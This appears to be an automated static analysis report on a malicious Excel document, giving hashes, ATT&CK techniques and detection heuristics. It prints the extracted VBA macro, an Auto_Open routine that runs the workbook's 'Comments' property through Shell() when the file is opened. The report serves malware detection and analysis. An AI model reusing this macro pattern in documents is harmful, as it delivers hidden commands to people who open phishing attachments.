Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1c38c0c67a5b0c8e…

MALICIOUS

Office (OOXML)

14.2 KB Created: 2021-09-23 05:02:55 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-09-27
MD5: 537ba49770d13a412e7c57111641c1e2 SHA-1: b78a88cd7d57ec37315c02bb4cfc3edd09ece6e6 SHA-256: 1c38c0c67a5b0c8ef8b20ea0a57ba44d8790517ebb46c5f3ef5a83f146d3d351
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is an Office document containing a VBA macro with an Auto_Open subroutine. This macro iterates through document properties and executes the value of the 'Comments' property using the Shell() function. This indicates the document is designed to execute arbitrary commands upon opening, likely as a payload delivery mechanism.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1461 bytes
SHA-256: 2592e91f9a13ceece454a03acc315e6863892df50d796e61baa0f57ab8b79c90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "현재_통합_문서"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
Dim prop As DocumentProperty
    For Each prop In ActiveWorkbook.BuiltinDocumentProperties
        If prop.Name = "Comments" Then
            Shell prop.Value
        End If
    Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: e1cbc1d9150921dc4f095817494cbf7470dd141397507e7840c363f6cfd643ac

Open this report in the interactive analyzer, or submit your own file for analysis.